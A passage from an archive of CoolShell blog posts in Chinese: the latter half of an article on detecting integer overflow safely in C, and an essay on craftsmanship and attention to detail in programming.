都是0呢？这个循环会成为个什么情况？于是strlen(s) – 1 和 v.size() – 1 都不会成为 -1，而是成为了 (unsigned int)(-1)，一个正的最大数。导致你的程序越界访问。</p>\n<p>这样的例子有很多很多，这些整型溢出的问题如果在关键的地方，尤其是在搭配有用户输入的地方，如果被黑客利用了，就会导致很严重的安全问题。</p>\n<h4>关于编译器的行为</h4>\n<p>在谈一下如何正确的检查整型溢出之前，我们还要来学习一下编译器的一些东西。请别怪我罗嗦。</p>\n<h5>编译器优化</h5>\n<p>如何检查整型溢出或是整型变量是否合法有时候是一件很麻烦的事情，就像上面的第四个例子一样，编译的优化参数-O/-O2/-O3基本上会假设你的程序不会有整形溢出。会把你的代码中检查溢出的代码给优化掉。</p>\n<p>关于编译器的优化，在这里再举个例子，假设我们有下面的代码（又是一个相当相当常见的代码）：</p>\n<pre class=\"EnlighterJSRAW\">int len;\nchar* data;\n\nif (data + len &lt; data){\n    printf(\"invalid len\\n\");\n    exit(-1);\n}\n</pre>\n<p>上面这段代码中，len 和 data 配套使用，我们害怕len的值是非法的，或是len溢出了，于是我们写下了if语句来检查。这段代码在-O的参数下正常。但是在-O2的编译选项下，整个if语句块被优化掉了。</p>\n<p>你可以写个小程序，在gcc下编译（我的版本是4.4.7，记得加上-O2和-g参数），然后用gdb调试时，用disass /m命信输出汇编，你会看到下面的结果（你可以看到整个if语句块没有任何的汇编代码——直接被编译器和谐掉了）：</p>\n<pre class=\"EnlighterJSRAW\">7 int len = 10;\n8 char* data = (char *)malloc(len);\n0x00000000004004d4 &lt;+4&gt;: mov $0xa,%edi\n0x00000000004004d9 &lt;+9&gt;: callq 0x4003b8 &lt;malloc@plt&gt;\n\n9\n10 if (data + len &lt; data){\n11 printf(\"invalid len\\n\");\n12 exit(-1);\n13 }\n14\n15 }\n0x00000000004004de &lt;+14&gt;: add $0x8,%rsp\n0x00000000004004e2 &lt;+18&gt;: retq\n</pre>\n<p>对此，你需要把上面 char* 转型成 uintptr_t 或是 size_t，说白了也就是把char*转成unsigned的数据结构，if语句块就无法被优化了。如下所示：</p>\n<pre class=\"EnlighterJSRAW\">if ((uintptr_t)data + len &lt; (uintptr_t)data){\n    ... ...\n}</pre>\n<p>关于这个事，你可以看一下C99的规范说明《 <a href=\"http://www.open-std.org/JTC1/SC22/WG14/www/docs/n1124.pdf\" rel=\"noopener noreferrer\" target=\"_blank\">ISO/IEC 9899:1999 C specification</a> 》第 §6.5.6 页，第8点，我截个图如下：（这段话的意思是定义了指针+/-一个整型的行为，如果越界了，则行为是undefined）</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-11469\" height=\"310\" src=\"../wp-content/uploads/2014/04/c99.jpg\" width=\"647\"/></p>\n<p>注意上面标红线的地方，说如果指针指在数组范围内没事，如果越界了就是undefined，也就是说这事交给编译器实现了，编译器想咋干咋干，那怕你想把其优化掉也可以。在这里要重点说一下，<strong>C语言中的一个大恶魔—— Undefined! 这里都是“野兽出没”的地方，你一定要小心小心再小心</strong>。</p>\n<h5>花絮：编译器的彩蛋</h5>\n<p>上面说了所谓的undefined行为就全权交给编译器实现，gcc在1.17版本下对于undefined的行为还玩了个彩蛋（<a href=\"http://en.wikipedia.org/wiki/Undefined_behavior#Compiler_easter_eggs\" rel=\"noopener noreferrer\" target=\"_blank\">参看Wikipedia</a>）。</p>\n<p>下面gcc 1.17版本下的遭遇undefined行为时，gcc在unix发行版下玩的彩蛋的源代码。我们可以看到，它会去尝试去执行一些游戏<a href=\"http://en.wikipedia.org/wiki/NetHack\">NetHack</a>， <a href=\"http://en.wikipedia.org/wiki/Rogue_%28computer_game%29\">Rogue</a> 或是Emacs的 <a href=\"http://en.wikipedia.org/wiki/Tower_of_Hanoi#Applications\">Towers of Hanoi</a>，如果找不到，就输出一条NB的报错。</p>\n<pre class=\"EnlighterJSRAW\">execl(\"/usr/games/hack\", \"#pragma\", 0); // try to run the game NetHack\nexecl(\"/usr/games/rogue\", \"#pragma\", 0); // try to run the game Rogue\n// try to run the Tower's of Hanoi simulation in Emacs.\nexecl(\"/usr/new/emacs\", \"-f\",\"hanoi\",\"9\",\"-kill\",0);\nexecl(\"/usr/local/emacs\",\"-f\",\"hanoi\",\"9\",\"-kill\",0); // same as above\nfatal(\"You are in a maze of twisty compiler features, all different\");</pre>\n<h4>正确检测整型溢出</h4>\n<p>在看过编译器的这些行为后，你应该会明白——“<strong>在整型溢出之前，一定要做检查，不然，就太晚了</strong>”。</p>\n<p>我们来看一段代码：</p>\n<pre class=\"EnlighterJSRAW\"> void foo(int m, int n)\n{\n    size_t s = m + n;\n    .......\n}</pre>\n<p>上面这段代码有两个风险：<strong>1）有符号转无符号</strong>，<strong>2）整型溢出</strong>。这两个情况在前面的那些示例中你都应该看到了。<strong>所以，你千万不要把任何检查的代码写在 s = m + n 这条语名后面，不然就太晚了</strong>。undefined行为就会出现了——用句纯正的英文表达就是——“Dragon is here”——你什么也控制不住了。（注意：有些初学者也许会以为size_t是无符号的，而根据优先级 m 和 n 会被提升到unsigned int。其实不是这样的，m 和 n 还是signed int，m + n 的结果也是signed int，然后再把这个结果转成unsigned int 赋值给s）</p>\n<p>比如，下面的代码是错的：</p>\n<pre class=\"EnlighterJSRAW\"> void foo(int m, int n)\n{\n    size_t s = m + n;\n    if ( m&gt;0 &amp;&amp; n&gt;0 &amp;&amp; (SIZE_MAX - m &lt; n) ){\n        //error handling...\n    }\n}</pre>\n<p>上面的代码中，大家要注意 <strong>(SIZE_MAX – m &lt; n)</strong> 这个判断，为什么不用m + n &gt; SIZE_MAX呢？因为，如果 m + n 溢出后，就被截断了，所以表达式恒真，也就检测不出来了。另外，这个表达式中，m和n分别会被提升为unsigned。</p>\n<p>但是上面的代码是错的，因为：</p>\n<p style=\"padding-left: 30px;\">1）检查的太晚了，if之前编译器的undefined行为就已经出来了（你不知道什么会发生）。</p>\n<p style=\"padding-left: 30px;\">2）就像前面说的一样，(SIZE_MAX – m &lt; n) 可能会被编译器优化掉。</p>\n<p style=\"padding-left: 30px;\">3）另外，SIZE_MAX是size_t的最大值，size_t在64位系统下是64位的，严谨点应该用INT_MAX或是UINT_MAX</p>\n<p> 所以，正确的代码应该是下面这样：</p>\n<pre class=\"EnlighterJSRAW\"> void foo(int m, int n)\n{\n    size_t s = 0;\n    if ( m&gt;0 &amp;&amp; n&gt;0 &amp;&amp; ( UINT_MAX - m &lt; n ) ){\n        //error handling...\n        return;\n    }\n    s = (size_t)m + (size_t)n;\n}</pre>\n<p>在《<a href=\"https://developer.apple.com/library/ios/documentation/Security/Conceptual/SecureCodingGuide/SecureCodingGuide.pdf\" rel=\"noopener noreferrer\" target=\"_blank\">苹果安全编码规范</a>》（PDF）中，第28页的代码中：</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-11472\" height=\"94\" src=\"../wp-content/uploads/2014/04/apple_security_code.jpg\" width=\"300\"/></p>\n<p>如果n和m都是signed int，那么这段代码是错的。正确的应该像上面的那个例子一样，至少要在n<em>m时要把 n 和 m 给 cast 成 size_t。因为，n</em>m可能已经溢出了，已经undefined了，undefined的代码转成size_t已经没什么意义了。（如果m和n是unsigned int，也会溢出），上面的代码仅在m和n是size_t的时候才有效。</p>\n<p>不管怎么说，《<a href=\"https://developer.apple.com/library/ios/documentation/Security/Conceptual/SecureCodingGuide/SecureCodingGuide.pdf\" rel=\"noopener noreferrer\" target=\"_blank\">苹果安全编码规范</a>》绝对值得你去读一读。</p>\n<h5>二分取中搜索算法中的溢出</h5>\n<p>我们再来看一个二分取中搜索算法（binary search），大多数人都会写成下面这个样子：</p>\n<pre class=\"EnlighterJSRAW\">int binary_search(int a[], int len, int key)\n{\n    int low = 0; \n    int high = len - 1; \n\n    while ( low&lt;=high ) {\n        int mid = (low + high)/2;\n        if (a[mid] == key) {\n            return mid;\n        }\n        if (key &lt; a[mid]) {\n            high = mid - 1;\n        }else{\n            low = mid + 1;\n        }\n    }\n    return -1;\n}</pre>\n<p>上面这个代码中，你可能会有这样的想法：</p>\n<p>1） 我们应该用size_t来做len, low, high, mid这些变量的类型。没错，应该是这样的。但是如果这样，你要小心第四行 int high = len -1; 如果len为0，那么就“high大发了”。</p>\n<p>2） 无论你用不用size_t。我们在计算mid = (low+high)/2; 的时候，(low + high) 都可以溢出。正确的写法应该是：</p>\n<pre class=\"EnlighterJSRAW\">int mid = low + (high - low)/2;</pre>\n<h5>上溢出和下溢出的检查</h5>\n<p>前面的代码只判断了正数的上溢出overflow，没有判断负数的下溢出underflow。让们来看看怎么判断：</p>\n<p>对于加法，还好。</p>\n<pre class=\"EnlighterJSRAW\">#include &lt;limits.h&gt;\n\nvoid f(signed int si_a, signed int si_b) {\n    signed int sum;\n    if (((si_b &gt; 0) &amp;&amp; (si_a &gt; (INT_MAX - si_b))) ||\n        ((si_b &lt; 0) &amp;&amp; (si_a &lt; (INT_MIN - si_b)))) {\n        /* Handle error */\n        return;\n    }\n    sum = si_a + si_b;\n}</pre>\n<p>对于乘法，就会很复杂（下面的代码太夸张了）：</p>\n<pre class=\"EnlighterJSRAW\">void func(signed int si_a, signed int si_b)\n{\n  signed int result;\n  if (si_a &gt; 0) {  /* si_a is positive */\n    if (si_b &gt; 0) {  /* si_a and si_b are positive */\n      if (si_a &gt; (INT_MAX / si_b)) {\n        /* Handle error */\n      }\n    } else { /* si_a positive, si_b nonpositive */\n      if (si_b &lt; (INT_MIN / si_a)) {\n        /* Handle error */\n      }\n    } /* si_a positive, si_b nonpositive */\n  } else { /* si_a is nonpositive */\n    if (si_b &gt; 0) { /* si_a is nonpositive, si_b is positive */\n      if (si_a &lt; (INT_MIN / si_b)) {\n        /* Handle error */\n      }\n    } else { /* si_a and si_b are nonpositive */\n      if ( (si_a != 0) &amp;&amp; (si_b &lt; (INT_MAX / si_a))) {\n        /* Handle error */\n      }\n    } /* End if si_a and si_b are nonpositive */\n  } /* End if si_a is nonpositive */\n\n  result = si_a * si_b;\n}</pre>\n<p>更多的防止在操作中整型溢出的安全代码可以参看《<a href=\"https://www.securecoding.cert.org/confluence/display/seccode/INT32-C.+Ensure+that+operations+on+signed+integers+do+not+result+in+overflow\">INT32-C. Ensure that operations on signed integers do not result in overflow</a>》</p>\n<h4>其它</h4>\n<p>对于C++来说，你应该使用STL中的numeric_limits::max() 来检查溢出。</p>\n<p>另外，微软的SafeInt类是一个可以帮你远理上面这些很tricky的类，下载地址：<a href=\"http://safeint.codeplex.com/\" rel=\"noopener noreferrer\" target=\"_blank\">http://safeint.codeplex.com/</a></p>\n<p>对于Java 来说，一种是用JDK 1.7中Math库下的safe打头的函数，如safeAdd()和safeMultiply()，另一种用更大尺寸的数据类型，最大可以到BigInteger。</p>\n<p>可见，写一个安全的代码并不容易，尤其对于C/C++来说。对于黑客来说，他们只需要搜一下开源软件中代码有memcpy/strcpy之类的地方，然后看一看其周边的代码，是否可以通过用户的输入来影响，如果有的话，你就惨了。</p>\n<p><strong>参考</strong>：</p>\n<ul>\n<li><a href=\"http://phrack.org/issues/60/10.html\" rel=\"noopener noreferrer\" target=\"_blank\">Basic Integer Overflow</a></li>\n</ul>\n<ul>\n<li><a href=\"https://www.owasp.org/index.php/Integer_overflow\" rel=\"noopener noreferrer\" target=\"_blank\">OWASP：Integer overflow</a></li>\n</ul>\n<ul>\n<li><a href=\"https://www.kb.cert.org/vuls/id/162289\" rel=\"noopener noreferrer\" target=\"_blank\">C compilers may silently discard some wraparound checks</a></li>\n</ul>\n<ul>\n<li><a href=\"https://developer.apple.com/library/ios/documentation/Security/Conceptual/SecureCodingGuide/SecureCodingGuide.pdf\" rel=\"noopener noreferrer\" target=\"_blank\">Apple Secure Coding Guide</a></li>\n</ul>\n<ul>\n<li><a href=\"http://en.wikipedia.org/wiki/Undefined_behavior\" rel=\"noopener noreferrer\" target=\"_blank\">Wikipedia: Undefined Behavior</a></li>\n</ul>\n<ul>\n<li>\n<p class=\"with-breadcrumbs\" id=\"title-text\"><a href=\"https://www.securecoding.cert.org/confluence/display/seccode/INT32-C.+Ensure+that+operations+on+signed+integers+do+not+result+in+overflow\">INT32-C. Ensure that operations on signed integers do not result in overflow</a></p>\n</li>\n</ul>\n<p>最后， 不好意思，这篇文章可能罗嗦了一些，大家见谅。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21708.html\"><img alt=\"网络数字身份认证术\" height=\"150\" src=\"../wp-content/uploads/2022/01/iStock-1175502114-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21708.html\">网络数字身份认证术</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19395.html\"><img alt=\"HTTP API 认证授权术\" height=\"150\" src=\"../wp-content/uploads/2019/05/Authorization-360x200-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19395.html\">HTTP API 认证授权术</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18094.html\"><img alt=\"如何免费的让网站启用HTTPS\" height=\"150\" src=\"../wp-content/uploads/2017/08/enable-https-banner-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18094.html\">如何免费的让网站启用HTTPS</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/11466.html\">C语言的整型溢出问题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2014-5-26 「我只是认真」聊聊工匠情怀.html",
    "content": "<html><body><p><strong style=\"color: #555555;\">（感谢网友 <a href=\"http://weibo.com/tbmujian\" style=\"color: #2970a6;\" target=\"_blank\">@Hesey小纯纯</a> 投稿  <a href=\"http://blog.hesey.net/\" style=\"color: #2970a6;\" target=\"_blank\">博客</a> |　<a href=\"http://blog.hesey.net/2014/05/im-just-conscientious-talking-about-feelings-of-artisans.html\" style=\"color: #2970a6;\" target=\"_blank\">原文链接</a>）</strong></p>\n<p>老罗的Smartisan T1手机发布会很多人应该都看了，发布会的最后老罗凝视着自己的工匠自画像，半晌没说话，随后转过身，慢慢离开舞台，屏幕下方只留下一句话：</p>\n<p style=\"padding-left: 30px;\"><strong>我不是为了输赢，我就是认真。</strong></p>\n<p>这一瞬间让我想起93年「狮城舌战」的主角蒋昌建，在「人性本善还是人性本恶」的总结陈词最后，以顾城的名句，「黑夜给了我黑色的眼睛，我却用它寻找光明」，把整个辩论赛的氛围推向高潮。</p>\n<p>而老罗的这句话，和这句话背后的工匠背景，却以另外一种<strong>无声的却震人心魄的力量</strong>，敲打着每一个在场的，或是观看着整个发布会的观众的心绪。</p>\n<p>「工匠情怀」，我深有体会，就像我在 <a href=\"http://blog.hesey.net/2014/05/gc-oriented-java-programming.html\" target=\"_blank\">面向GC的Java编程</a> 一文中所提到的：</p>\n<p style=\"padding-left: 30px;\"><strong>优秀程序员的价值，不在于其所掌握的几招屠龙之术，而是在细节中见真著。</strong></p>\n<p style=\"padding-left: 30px;\"><strong>如果我们可以一次把事情做对，并且做好，在允许的范围内尽可能追求卓越，为什么不去做呢？</strong></p>\n<p>追求卓越，追求完美，追求细节的极致。小时候看到那些修表匠，握着一个小螺丝刀，或是看着电工，用烙铁沾着锡和松香，在那一小寸的世界里，把坏了的地方修好，那种专注的眼神，觉得很厉害。</p>\n<p>现在再去回想那些工匠工作的场景，越发觉得钦佩。在我老家有一家刻章的店，在我上幼儿园的时候就已经在那开了很多年了。前段时间需要刻一个章，发现那家店还在，于是走进去，门口坐着一个老人，我确实记不得当年是不是他，不过看这岁数八九不离十。我以前在别的地方刻的章，都是在电脑里设计完图案后，激光刻蚀。但那次老人却是用的手刻，我着实惊呆了。只看他拿出一块红色的印底，右手持着刻刀，开始一下一下地刻着。虽然老人连话都不怎么说得清了，但是工作时那专注的神情，和精湛的手艺，以及最后成品那比机器更完美的效果，着实让我心里非常动容。</p>\n<p><span id=\"more-11629\"></span></p>\n<h4>一、技术人的执着</h4>\n<p>我见过很多人，也见过很多程序员，都有如此的「工匠情怀」。</p>\n<p>做产品需求评审，有的人善于快速提供技术解决方案，在最短的时间内解决问题。</p>\n<p>但我见过的很多牛人，他们除了能在脑海里最快地形成方案原型，并且更深入地考虑各种细节点，最终能给出一个更趋于完善的技术方案。</p>\n<p>在他们身上，我看到了<strong>对这项职业的自我尊重，对自我价值的追求，也有对「卓越」的理解和渴求</strong>。</p>\n<p>《精通正则表达式》的译者余晟老师写过他和正则表达式的 <a href=\"http://www.luanxiang.org/blog/archives/1717.html\" target=\"_blank\">缘起</a> 。只是因为项目经理让他「多用Google，查查正则表达式的资料」，余老师打开了正则的大门，读完了英文原版的《Mastering Regular Expression》，如今成为了国内最了解正则表达式的人之一。</p>\n<p>看完那篇文章其实我想起了我的实习经历。那时候我刚去公司两三天，有一天我老板找我让我研究一下如何用Java里的MappedByteBuffer做文件内存映射来读取大文件。尽管我们当时要处理的文件很大，以我在学校编码的经验看，用普通的Reader也是可以很好地解决的。</p>\n<p>于是我说，「这个其实用Reader也能做，更简单一些，没那么麻烦。」</p>\n<p>老板反问我，「什么叫没那么麻烦，这是一个做技术的人的态度吗？」</p>\n<p>那几天我花了很多时间，去从Linux一直到JVM，去了解什么是内存映射，底层原理是什么，和其它技术的比较、优缺点，并和其它几种读文件的技术做了性能对比。</p>\n<p>虽然最后项目没有采用这个方案，但是那句反问直到现在一直在我脑海里，时时地提醒我：「<strong>做技术的人，对待技术，应该拥有什么样的态度？</strong>」</p>\n<p>所以其实我很感谢我的老板，以前他教我们这些新人优秀的职场习惯，有一条是每天的邮件必须没有未读数，即便是不需要阅读的邮件，也要一键置为已读，不要留一个未读的数字在那。现在想起来，有点像iOS App右上角那个提醒数的角标，有些强迫症的人怎么也忍受不了有个红圈圈在那。开个玩笑，虽然有些习惯看起来可有可无，无关紧要，但这确实映射了一种态度和思维习惯。</p>\n<p><strong>完美有多远？我不知道，但我愿意多往前走一步。</strong></p>\n<h4>二、拾起初衷</h4>\n<p>我们的生活，每天很忙碌。有时候忙得自己都忘记了为什么在此处，有时候忙得只能不断地用直觉、用以往的经验去设计一个解决方案，而没有时间去思考需求是不是合理，方案是不是最佳，我们以为自己设计的是最佳实践，谁知道呢？</p>\n<p>这个社会，这个世界，处在一个以不可思议的速度向前直奔的时间线上，我们处在这个时代的浪潮之上，每个人都感到了那种令人窒息的紧迫感。</p>\n<p>父母都是不希望孩子太累的，我们见过很多这样的话：</p>\n<p style=\"padding-left: 30px;\"><strong>差不多就行了。</strong></p>\n<p style=\"padding-left: 30px;\"><strong>糊弄糊弄就完事了。</strong></p>\n<p style=\"padding-left: 30px;\"><strong>不要与众不同。</strong></p>\n<p style=\"padding-left: 30px;\"><strong>顺其自然。</strong></p>\n<p>但是你应该问问自己，是不是真的要 <a href=\"http://blog.hesey.net/2010/05/is-let-it-be-consolation-or-excuse.html\" target=\"_blank\">顺其自然</a> ？</p>\n<p>我记得在上大二的时候，听一个叫端木恒的人说过一句话，大意是，<strong>这个世界上，政治可以改变很多事情，而科技，可以通过促进信息的流通，最终去推动政治的变革，去改变整个世界。</strong></p>\n<p>当时觉得这事儿太酷了，是的，所以我当时的想法是，要去一个技术足够强大，并且对人们的生活有实质影响的公司。希望用技术的力量去让更多人生活地更好。</p>\n<p>这当然是一种不自量力，但又如何呢？只是一个普通人小小的想法，不断追求卓越，愿意比别人多往前走一步而已。</p>\n<p>就像冯大辉说的：</p>\n<p style=\"padding-left: 30px;\"><strong>所有人都说你做不成，都告诉你不要去做，不靠谱，嘲讽你，而你最后真的把事情做起来了，这就是牛逼。</strong></p>\n<p>做成了，其实牛不牛逼对你自己而言已经不重要了。</p>\n<p>没做成，所有人都笑你是傻逼，但起码也对得起自己的内心。</p>\n<p>再说，如果 <a href=\"http://blog.hesey.net/2010/05/strength-of-the-young.html\" target=\"_blank\">青年人</a> 想的都是养老和退休，那做事的人在哪？</p>\n<h4>三、发现更好的自己</h4>\n<p>老罗最后的一个问题是：</p>\n<p style=\"padding-left: 30px;\"><strong>在一个完美主义者的眼里，这是一个怎样的世界？</strong></p>\n<p>这个社会上很多人在生活上追求更高的品质，但愿意对自己手头所做的事情坚持高标准坚持卓越理念的人已经不多见了，以至于我们发现<strong>花再多的钱也买不到安全的食品了，花了一辈子的积蓄买的房子却有各种质量问题。</strong>扪心自问自己在工作中是否能坚持某些东西，大部分人的态度都差不多，只是你糊弄一下不会怎样，而他马虎一点就会死人，区别仅仅在于这里。</p>\n<p>M·斯科特·派克说过一句话：</p>\n<p style=\"padding-left: 30px;\"><strong>规避问题和逃避问题的趋向，是人类心理疾病的根源。</strong></p>\n<p>很多人把随大流把妥协作为一种「成熟」的标志，小时候敢想敢说可能也敢做，长大以后懂得了人情世故，懂得向现实妥协，45度角仰望天空说自己终于长大了。再看身边那些「冥顽不灵」、「认死理」的所谓完美主义者，认为这些人才是不正常的群体，把这些人要么当做傻逼要么当做装逼。</p>\n<p>天哪，我都想问，「这是一个怎样的世界？」</p>\n<p>肯定有人会说，站着说话不腰疼。诚然，在生活中，有的人是为了活下去，有的人是为了活得更好，有的人是为了帮助别人活得更好。这是不同的人生阶段，每个人的情况不一样，但这并不影响每个人内心的精神寄托和对信念的追求。</p>\n<p>我从不指望去改变别人，但我相信我可以改变自己，虽然也很难。</p>\n<p>学生都喜欢问，如何最快地告诉自己的能力。说实话，我真的不知道什么是捷径，我的经验就是和比你优秀的人一起工作，经常请教比你资深的人，不断挑战过去的自己（每天审视自己太紧张了，只要比前段时间的自己更好就可以了）。</p>\n<h4>四、细节是魔鬼</h4>\n<p>Devils are in the details，细节是魔鬼，这句话很多人都听过，但要在工作中时时刻刻注意？难。</p>\n<p>前几天给同事做Code Review，就几行代码，发现了一个问题。</p>\n<p style=\"padding-left: 30px;\">场景是我们发现某个系统中存在占用内存超大的HTML字符串，需要统计HTML字符串的长度，于是为了获得准确的字节长度，这段代码调用的是String.getBytes().length，一眼看起来并没有什么大问题。</p>\n<p style=\"padding-left: 30px;\">但是考虑到本身这个字符串就比较大，联想到Java内部是用UTF-16存储字符串的，而getBytes()会转换为系统默认编码（GBK或是UTF-8等等），这里必然存在底层字符数组的拷贝（可以去参考String.getBytes()的源代码证实），一个本身就很大的字符串，经过拷贝，将会占用更多的内存，加剧这个问题，而在HTML中，中文其实只占了非常小的一部分，所以直接用String.length()，虽然会少数几个字符，但对统计结果影响其实并不大，并且这里不存在任何数组分配的开销。</p>\n<p style=\"padding-left: 30px;\">另外建议所有调用String.getBytes()的地方通通显式传入编码，这是个大坑。（<em>陈皓注：用String.length代替getBytes().length，也是在给未来挖坑——如果未来有人要用len来干别的事，那么这个不精确的len可能就是一个大坑</em>）</p>\n<p>另外一个案例，也是在Code Review的时候发现的。</p>\n<p style=\"padding-left: 30px;\">某个调用场景下，每次都会新建一个解析器对象去解析结果，尽管解析器没有任何实例变量不会产生线程安全问题，创建的开销也并不大，但我还是坚持要改成单例，使用同一个实例去处理，这也符合面向GC编程的思想。</p>\n<p style=\"padding-left: 30px;\">这些场景，每天我们都在遇到，<strong>也许我们会说这些都是很小的问题，无伤大雅，差不多就行了。</strong>但就像前面说的，这是一种态度，一种思维习惯，当你坚持用最高的标准去要求自己，去要求自己的工作时，你才有可能渐渐接近卓越。细节是魔鬼，它会在完全察觉不到的时刻，把人拉回平庸。</p>\n<p>「我不是为了输赢，我就是认真。」这不代表我们不在乎输赢，从头至尾我都坚信，只有坚持完美，坚持品质，坚持那些我们曾经了解现在可能已经放弃了的美好的东西，像一个老工匠，把一种专注、追求极致的情怀融入我们的作品里，也许有一天，就有人，追寻着 <a href=\"http://blog.hesey.net/2010/04/a-time-without-dreams.html\" target=\"_blank\">梦想</a> ，发现了 <a href=\"http://blog.hesey.net/2012/02/posibilities-of-life.html\" target=\"_blank\">生活更多的可能性</a> ，像乔布斯、像贝索斯，改变整个行业，改变全世界。</p>\n<p>我们是被这个时代推上浪潮之巅的人，是去做一个见证者，或是一个冲在最前面也不怕被拍死的傻瓜，是我们每个人选择的权利。</p>\n<p>只是不要忘记，那些傻瓜，不是真的不怕死，<strong>他们只是认真</strong>。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/11629.html\">「我只是认真」聊聊工匠情怀</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2014-5-28 TCP 的那些事儿（上）.html",
